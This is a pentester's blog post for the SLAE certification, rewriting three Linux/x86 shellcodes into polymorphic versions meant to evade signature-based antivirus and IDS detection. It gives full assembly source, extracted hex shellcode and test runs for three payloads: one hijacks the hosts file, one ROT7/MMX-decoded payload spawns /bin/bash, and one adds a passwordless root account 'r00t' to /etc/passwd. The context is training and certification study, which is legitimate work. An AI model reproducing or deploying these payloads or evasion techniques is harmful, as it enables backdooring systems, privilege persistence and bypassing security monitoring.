Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Assignment #6 for the SLAE exam is to create polymorphic shellcode.
First, the requirements for assignment #6 were as follows.
Take up 3 shellcodes from Shell-Storm and create polymorphic versions of them to beat pattern matching The polymorphic versions cannot be larger than 150% of the existing shellcode Bonus points for making it shorter in length than the original
Most AV and IDS solutions detect basic shellcode via a search pattern, this is signature based detection. This makes shellcode easy to fingerprint and detect.
That said, modifying a payload semantically makes it harder to detect. If the functionality remains the same, then the outcome will remain the same.
Polymorphism is the concept of replacing instructions with equal functionality, to defeat these detection methods. Additionally, garbage instructions that do not change functionality (NOP or NOP equivalents) can also be used.
For example, the three following instruction sets are all functionally equivalent. All three of these will load 0x5 into the ECX register.
mov ecx, 0x5
push 0x5 pop eax xchg eax,ecx
xor ecx, ecx inc ecx inc ecx inc ecx inc ecx inc ecx
I will be acquiring all of my shellcode from the Linux/x86 section on Shell-Storm.
With that in mind, let’s jump right in!
The first shellcode that I chose to modify adds a new entry into the /etc/hosts file.
I had two goals going into this shellcode.
First, I wanted to test the original shellcode to make sure it worked. Additionally, this would give me a starting point for the length.
I printed out the contents of my /etc/hosts file, so that I could compare after running the shellcode.
doyler@slae:~/slae/_exam/poly$ cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 slae # The following lines are desirable for IPv6 capable hosts ::1 ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters
Next, I compiled and executed the original shellcode. As you can see, I’ve got a starting length of 77 bytes.
doyler@slae:~/slae/_exam/poly$ gcc -o shellcode1 -z execstack -fno-stack-protector shellcode1.c doyler@slae:~/slae/_exam/poly$ sudo ./shellcode1 Shellcode Length: 77
As expected, the shellcode added a new line to my hosts file!
doyler@slae:~/slae/_exam/poly$ cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 slae # The following lines are desirable for IPv6 capable hosts ::1 ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters 127.1.1.1 google.com
I’ve done a fairly good job commenting my code, and you can find it below.
I replaced as many instructions as I could, without increasing the length. Additionally, I was able to replace the JMP-CALL-POP like I wanted to.
Another change could be to change the IP address to something else in the 127 range. That said, I didn’t think that was necessary at this time. Any IP address with 6 total digits or less will work without increasing the length of the final payload.
I’ve also kept the original instructions above my changes, for comparison’s sake.
; Filename: poly_modify_hosts.nasm ; Author: Ray Doyle ; Website: https://www.doyler.net ; ; Purpose: SLAE Exam Assignment #6 - Polymorphic hosts file modification (Linux/x86) - 75 bytes (2 less than original) ; Original Shellcode: http://shell-storm.org/shellcode/files/shellcode-893.php global _start section .text _start: ;xor ecx, ecx ;mul ecx ; Replaced XOR with SUB = net -2 byte sub ecx, ecx ; Moved up original null PUSH push ecx open: ;mov al, 0x5 ; Replaced MOV with PUSH-POP = net +1 byte push 0x5 pop eax ;push 0x7374736f ;/etc///hosts ;push 0x682f2f2f ;push 0x6374652f ; Replaced /etc///hosts with ///etc/hosts = net +0 bytes push 0x7374736f push 0x682f6374 push 0x652f2f2f ; mov ebx, esp ; Replace MOV with PUSH-POP = net +0 bytes push esp pop ebx ; Push another null terminator for later = net +1 byte push ecx ;mov cx, 0x401 ; Replaced mov cx with inc ecx + mov ch = net -1 byte inc ecx mov ch, 0x4 ; Kept original interrupt - sys_open int 0x80 ; Kept original exchange xchg eax, ebx write: ; Kept original PUSH-POP. This could be replaced, but not without increasing length push 0x4 pop eax ;jmp short _load_data ;_load_data: ;call _write ;google db "127.1.1.1 google.com" ;pop ecx ; Replacing JMP-CALL-POP with PUSH-MOV = net -1 byte push 0x6d6f632e push 0x656c676f push 0x6f672031 push 0x2e312e31 push 0x2e373231 ;mov ecx, esp ; Replace my own MOV with PUSH-POP = net +0 bytes push esp pop ecx ;push 20 ;length of the string, don't forget to modify if changes the map ; While replacing the decimal with hex doesn't actually change the instruction, it tidies up the file = net +0 bytes push 0x14 pop edx ; Kept original interrupt - sys_write int 0x80 close: ;push 0x6 ;pop eax ; Replace PUSH-POP with XCHG-MOV = net +0 bytes xchg edx, eax mov al, 0x6 ; Kept original interrupt - sys_close int 0x80 exit: ;push 0x1 ;pop eax ; Replace PUSH-POP with XOR-INC = net +0 bytes xor eax, eax inc eax ; Kept original interrupt - sys_exit int 0x80
With my modifications in place, it was time to test my new shellcode.
First, I compiled and linked my assembly.
doyler@slae:~/slae/_exam/poly$ ./compile.sh poly_modify_hosts [+] Assembling with Nasm ... [+] Linking ... [+] Done!
Next, I obtained the shellcode using objdump.
doyler@slae:~/slae/_exam/poly$ objdump -d ./poly_modify_hosts|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x29\xc9\x51\x6a\x05\x58\x68\x6f\x73\x74\x73\x68\x74\x63\x2f\x68\x68\x2f\x2f\x2f\x65\x54\x5b\x51\x41\xb5\x04\xcd\x80\x93\x6a\x04\x58\x68\x2e\x63\x6f\x6d\x68\x6f\x67\x6c\x65\x68\x31\x20\x67\x6f\x68\x31\x2e\x31\x2e\x68\x31\x32\x37\x2e\x54\x59\x6a\x14\x5a\xcd\x80\x92\xb0\x06\xcd\x80\x31\xc0\x40\xcd\x80"
I also removed the line from /etc/hosts, so that I could verify it being added again.
doyler@slae:~/slae/_exam/poly$ cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 slae # The following lines are desirable for IPv6 capable hosts ::1 ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters
When I ran my shellcode, it was only 75 bytes in length! While small, this was still a decrease of 2 bytes (2.6%).
doyler@slae:~/slae/_exam/poly$ sudo ./shellcode1 Shellcode Length: 75
Finally, I verified that my version was still working.
doyler@slae:~/slae/_exam/poly$ cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 slae # The following lines are desirable for IPv6 capable hosts ::1 ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters 127.1.1.1 google.com
Next, I decided to modify a ROT7 encoded execve /bin/bash shellcode.
My goal for this shellcode was to use the MMX instruction set for the decoding operations. This would allow me to work on 8 bytes at once instead of just one. While shortening the shellcode would be nice, I’d be fine increasing the length.
The MMX conversion would almost completely rewrite the original shellcode, thereby bypassing any signature based detection.
First, I tested the original shellcode (and verified the length).
As expected, the shellcode worked, and executed /bin/bash. Additionally, the starting length of 74 was given to me.
doyler@slae:~/slae/_exam/poly$ gcc -o shellcode2 -z execstack -fno-stack-protector shellcode2.c doyler@slae:~/slae/_exam/poly$ ./shellcode2 Shellcode Length: 74 doyler@slae:/home/doyler/slae/_exam/poly$ ps PID TTY TIME CMD 4014 pts/6 00:00:00 bash 21054 pts/6 00:00:00 bash 21111 pts/6 00:00:00 ps doyler@slae:/home/doyler/slae/_exam/poly$ exit exit doyler@slae:~/slae/_exam/poly$ ps PID TTY TIME CMD 4014 pts/6 00:00:00 bash 21112 pts/6 00:00:00 ps
I’ve done a good job commenting my code, and you can find it below.
I included the original code where possible, but I obviously removed a lot of functionality.
; Filename: poly_rot7_execve.nasm ; Author: Ray Doyle ; Website: https://www.doyler.net ; ; Purpose: SLAE Exam Assignment #6 - Polymorphic ROT7 encoded execve (Linux/x86) - 72 bytes (2 less than original) ; Original Shellcode: http://shell-storm.org/shellcode/files/shellcode-900.php global _start section .text _start: jmp call_decoder decoder: ; JMP-CALL-POP to get the decoder string into ESI pop esi ; New, load the "Shellcode" bytes into EDI lea edi, [esi +8] xor ecx, ecx ;mov cl, 0x1e ; ROTed shellcode length ; Shellcode length is now divided by 4 since 8 operations are performed at once mov cl, 0x8 decode: ;cmp byte [esi], 0x7 ;jl lowbound ;sub byte [esi], 0x7 ;jmp common_commands ; Replaced the decode -> common_commands loop ; This now uses the MMX registers, and performs 8 operations at once ; Note that the lower bounds are not currently checked at all ; The example shellcode did not have any wraparound, so this will work fine as an example ; Load the shellcode into mm0 movq mm0, qword [edi] ; Load the decoder bytes into mm1 movq mm1, qword [esi] ; Subtract mm1 from mm0 (no wraparound detection) psubq mm0, mm1 ; Update the shellcode with the decoded bytes movq qword [edi], mm0 ; Move to the next 8 bytes of the encoded shellcode add edi, 0x8 ; Loop back to decode the rest of the shellcode loop decode ; Execute the shellcode once the decode loop is complete jmp short Shellcode ;lowbound: ; xor ebx, ebx ; xor edx, edx ; mov bl, 0x7 ; mov dl, 0xff ; inc dx ; sub bl, [esi] ; sub dx, bx ; mov [esi], dl ; ;common_commands: ; inc esi ; loop decode ; jmp Shellcode call_decoder: call decoder decoder_value db 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07 Shellcode db 0x38,0xc7,0x57,0x6f,0x69,0x68,0x7a,0x6f,0x6f,0x69,0x70,0x75,0x36,0x6f,0x36,0x36,0x36,0x36,0x90,0xea,0x57,0x90,0xe9,0x5a,0x90,0xe8,0xb7,0x12,0xd4,0x87
With my modifications in place, it was time to test my new shellcode.
First, I compiled and linked my assembly.
doyler@slae:~/slae/_exam/poly$ ./compile.sh poly_rot7_execve [+] Assembling with Nasm ... [+] Linking ... [+] Done!
Next, I obtained the shellcode using objdump.
doyler@slae:~/slae/_exam/poly$ for i in $(objdump -d poly_rot7_execve |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo \xeb\x1b\x5e\x8d\x7e\x08\x31\xc9\xb1\x08\x0f\x6f\x07\x0f\x6f\x0e\x0f\xfb\xc1\x0f\x7f\x07\x83\xc7\x08\xe2\xef\xeb\x0d\xe8\xe0\xff\xff\xff\x07\x07\x07\x07\x07\x07\x07\x07\x38\xc7\x57\x6f\x69\x68\x7a\x6f\x6f\x69\x70\x75\x36\x6f\x36\x36\x36\x36\x90\xea\x57\x90\xe9\x5a\x90\xe8\xb7\x12\xd4\x87\x97\x97
When I ran my shellcode, it was only 72 bytes in length! This was a 2.7% decrease from the original length, so I’ll take it. It was working successfully, and only missing the wraparound functionality from the original.
doyler@slae:~/slae/_exam/poly$ vi shellcode2.c doyler@slae:~/slae/_exam/poly$ gcc -o shellcode2 -z execstack -fno-stack-protector shellcode2.c doyler@slae:~/slae/_exam/poly$ ps PID TTY TIME CMD 2412 pts/0 00:00:00 bash 22245 pts/0 00:00:00 ps doyler@slae:~/slae/_exam/poly$ ./shellcode2 Shellcode Length: 72 doyler@slae:/home/doyler/slae/_exam/poly$ ps PID TTY TIME CMD 2412 pts/0 00:00:00 bash 22246 pts/0 00:00:00 bash 22303 pts/0 00:00:00 ps doyler@slae:/home/doyler/slae/_exam/poly$ exit exit
For my third, and final modification, I decided to go with an add user shellcode. As this one is similar to the hosts file shellcode, it is easy to perform my changes.
I decided to do this one a little differently though. Instead of potentially reducing the size of the shellcode, I set out the following challenge goals for myself:
Note that while I want to keep the original instructions, I decided that I’d be allowed to reorder them.
For example, if the original shellcode contained the following:
push 0x15 push 0x09 pop eax pop ebx
Then I would be able to rewrite it as follows:
push 0x9 pop ebx push 0x15 pop eax xchg eax, ebx
As before, I tested the original shellcode and verified the length.
First, I compiled and linked the executable, then I dumped the shellcode.
doyler@slae:~/slae/_exam/poly$ vi poly_add_user.nasm doyler@slae:~/slae/_exam/poly$ ./compile.sh poly_add_user [+] Assembling with Nasm ... [+] Linking ... [+] Done! doyler@slae:~/slae/_exam/poly$ for i in $(objdump -d poly_add_user |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo \x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\x01\x04\xcd\x80\x89\xc3\x6a\x04\x58\x31\xd2\x52\x68\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68\x72\x30\x30\x74\x89\xe1\x6a\x0c\x5a\xcd\x80\x6a\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80
Next, I compiled my application wrapper and checked the contents of my passwd file.
doyler@slae:~/slae/_exam/poly$ gcc -o shellcode3 -z execstack -fno-stack-protector shellcode3.c doyler@slae:~/slae/_exam/poly$ tail /etc/passwd pulse:x:110:119:PulseAudio daemon,,,:/var/run/pulse:/bin/false rtkit:x:111:122:RealtimeKit,,,:/proc:/bin/false speech-dispatcher:x:112:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh hplip:x:113:7:HPLIP system user,,,:/var/run/hplip:/bin/false saned:x:114:123::/home/saned:/bin/false doyler:x:1000:1000:Ray,,,:/home/doyler:/bin/bash vboxadd:x:999:1::/var/run/vboxadd:/bin/false sshd:x:115:65534::/var/run/sshd:/usr/sbin/nologin
Finally, I ran the new shellcode, and verified it added a new user. As you can see, the original shellcode was 69 bytes. This means that my polymorphic version can have up to 103 bytes.
doyler@slae:~/slae/_exam/poly$ sudo ./poly_add_user [sudo] password for doyler: doyler@slae:~/slae/_exam/poly$ tail /etc/passwd pulse:x:110:119:PulseAudio daemon,,,:/var/run/pulse:/bin/false rtkit:x:111:122:RealtimeKit,,,:/proc:/bin/false speech-dispatcher:x:112:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh hplip:x:113:7:HPLIP system user,,,:/var/run/hplip:/bin/false saned:x:114:123::/home/saned:/bin/false doyler:x:1000:1000:Ray,,,:/home/doyler:/bin/bash vboxadd:x:999:1::/var/run/vboxadd:/bin/false sshd:x:115:65534::/var/run/sshd:/usr/sbin/nologin r00t::0:0:::
First, I took the original assembly, and added comments to the original lines. This would allow me to keep track of where everything was originally. Additionally, I could make sure that I kept all original 28 lines.
As you can see, the only modifications that I made were to convert all the PUSH instructions to hex.
section .text global _start _start: ; open("/etc//passwd", O_WRONLY | O_APPEND) push 0x5 ; Line 1 - push byte 5 pop eax ; Line 2 xor ecx, ecx ; Line 3 push ecx ; Line 4 push 0x64777373 ; Line 5 push 0x61702f2f ; Line 6 push 0x6374652f ; Line 7 mov ebx, esp ; Line 8 mov cx, 0x401 ; Line 9 - mov cx, 02001Q int 0x80 ; Line 10 mov ebx, eax ; Line 11 ; write(ebx, "r00t::0:0:::", 12) push 0x4 ; Line 12 - push byte 4 pop eax ; Line 13 xor edx, edx ; Line 14 push edx ; Line 15 push 0x3a3a3a30 ; Line 16 push 0x3a303a3a ; Line 17 push 0x74303072 ; Line 18 mov ecx, esp ; Line 19 push 0xc ; Line 20 - push byte 12 pop edx ; Line 21 int 0x80 ; Line 22 ; close(ebx) push 0x6 ; Line 23 - push byte 6 pop eax ; Line 24 int 0x80 ; Line 25 ; exit() push 0x1 ; Line 26 - push byte 1 pop eax ; Line 27 int 0x80 ; Line 28
You can find my code below, and I think I’ve done a great job with the comments.
As you can see, I kept all 28 original lines, although not necessarily in the same order.
None of my added instructions changed the program’s functionality in the end. Plenty more could be added, but I wanted to stay within the requirements of the assignment.
; Filename: poly_add_user.nasm ; Author: Ray Doyle ; Website: https://www.doyler.net ; ; Purpose: SLAE Exam Assignment #6 - Polymorphic add user shellcode (Linux/x86) - 103 bytes (34 more than original) ; Original Shellcode: http://shell-storm.org/shellcode/files/shellcode-211.php section .text global _start _start: ; open("/etc//passwd", O_WRONLY | O_APPEND) ; 0x90 - Great first instruction for this challenge xchg eax, eax pop eax ; Line 27 ; Unnecessary clearing of EBX sub ebx, ebx xor ecx, ecx ; Line 3 mov cx, 0x401 ; Line 9 - mov cx, 02001Q push ecx ; Line 4 ; We don't actually want to push ECX anymore, as it already contains 0x401 pop edi ; Push the actual null bytes that we want - use the EBX we cleared earlier push EBX push 0x6 ; Line 23 - push byte 6 pop eax ; Line 2 ; Decrement EAX to 0x5 since we POPed a 0x6 into it dec eax push 0x61702f2f ; Line 6 ; Extra push to break up the original string push 0x13371337 push 0x64777373 ; Line 5 push 0x6374652f ; Line 7 ; Added POP and PUSH isntructions to properly reorder the string pop EDX pop ESI pop EDI pop EDI push ESI push EDI push EDX mov ebx, esp ; Line 8 int 0x80 ; Line 10 ; Puts original return value into EDX, then back into EAX push eax pop edx xchg edx, eax mov ebx, eax ; Line 11 ; write(ebx, "r00t::0:0:::", 12) push 0x5 ; Line 1 - push byte 5 xor edx, edx ; Line 14 ; Unnecessary exchange to break up original lines 14 and 15 xchg ebx, ebx push 0xc ; Line 20 - push byte 12 pop eax ; Line 13 pop edx ; Line 21 ; Swap EAX and EDX since they contain the wrong values xchg eax, edx push edx ; Line 15 ; NOP, separates original lines 15 and 16 xchg eax, eax push 0x3a3a3a30 ; Line 16 ; Extra PUSH-POP, breaks up 16 and 17 push esi pop esi push 0x3a303a3a ; Line 17 push 0x74303072 ; Line 18 ; Decrement EAX since we POPed an 0x5 into it dec eax mov ecx, esp ; Line 19 push 0x1 ; Line 26 - push byte 1 int 0x80 ; Line 22 ; close(ebx) push 0x4 ; Line 12 - push byte 4 pop eax ; Line 24 ; Add 2 to EAX, to get 0x6 in it add eax, 0x2 int 0x80 ; Line 25 ; exit() ; Clear and increment EAX to get a 1 into it xor eax, eax inc eax int 0x80 ; Line 28
Once I finished my additions, I wanted to test out my work.
After compiling and linking my new binary, I first dumped the shellcode.
doyler@slae:~/slae/_exam/poly$ for i in $(objdump -d poly_add_user |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo \x90\x58\x29\xdb\x31\xc9\x66\xb9\x01\x04\x51\x5f\x53\x6a\x06\x58\x48\x68\x2f\x2f\x70\x61\x68\x37\x13\x37\x13\x68\x73\x73\x77\x64\x68\x2f\x65\x74\x63\x5a\x5e\x5f\x5f\x56\x57\x52\x89\xe3\xcd\x80\x50\x5a\x92\x89\xc3\x6a\x05\x31\xd2\x87\xdb\x6a\x0c\x58\x5a\x92\x52\x90\x68\x30\x3a\x3a\x3a\x56\x5e\x68\x3a\x3a\x30\x3a\x68\x72\x30\x30\x74\x48\x89\xe1\x6a\x01\xcd\x80\x6a\x04\x58\x83\xc0\x02\xcd\x80\x31\xc0\x40\xcd\x80
Next, I compiled the new wrapper and cleared out the passwd file.
doyler@slae:~/slae/_exam/poly$ sudo vi /etc/passwd doyler@slae:~/slae/_exam/poly$ gcc -o shellcode3 -z execstack -fno-stack-protector shellcode3.c
Finally, I ran the new program, and it worked! As you can see, I was able to get it working right at my goal of 103 bytes.
doyler@slae:~/slae/_exam/poly$ sudo ./shellcode3 Shellcode Length: 103 doyler@slae:~/slae/_exam/poly$ tail /etc/passwd kernoops:x:109:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false pulse:x:110:119:PulseAudio daemon,,,:/var/run/pulse:/bin/false rtkit:x:111:122:RealtimeKit,,,:/proc:/bin/false speech-dispatcher:x:112:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh hplip:x:113:7:HPLIP system user,,,:/var/run/hplip:/bin/false saned:x:114:123::/home/saned:/bin/false doyler:x:1000:1000:Ray,,,:/home/doyler:/bin/bash vboxadd:x:999:1::/var/run/vboxadd:/bin/false sshd:x:115:65534::/var/run/sshd:/usr/sbin/nologin r00t::0:0:::
This was another fun assignment, and it was really cool modifying someone else’s existing work.
I’ve only got one more assignment to go, and then it’s OSCE time! Next week is to develop a custom crypter, and I’m looking forward to it
Finally, you can find the code and updates in my GitHub repository.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student-ID: SLAE-1212
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.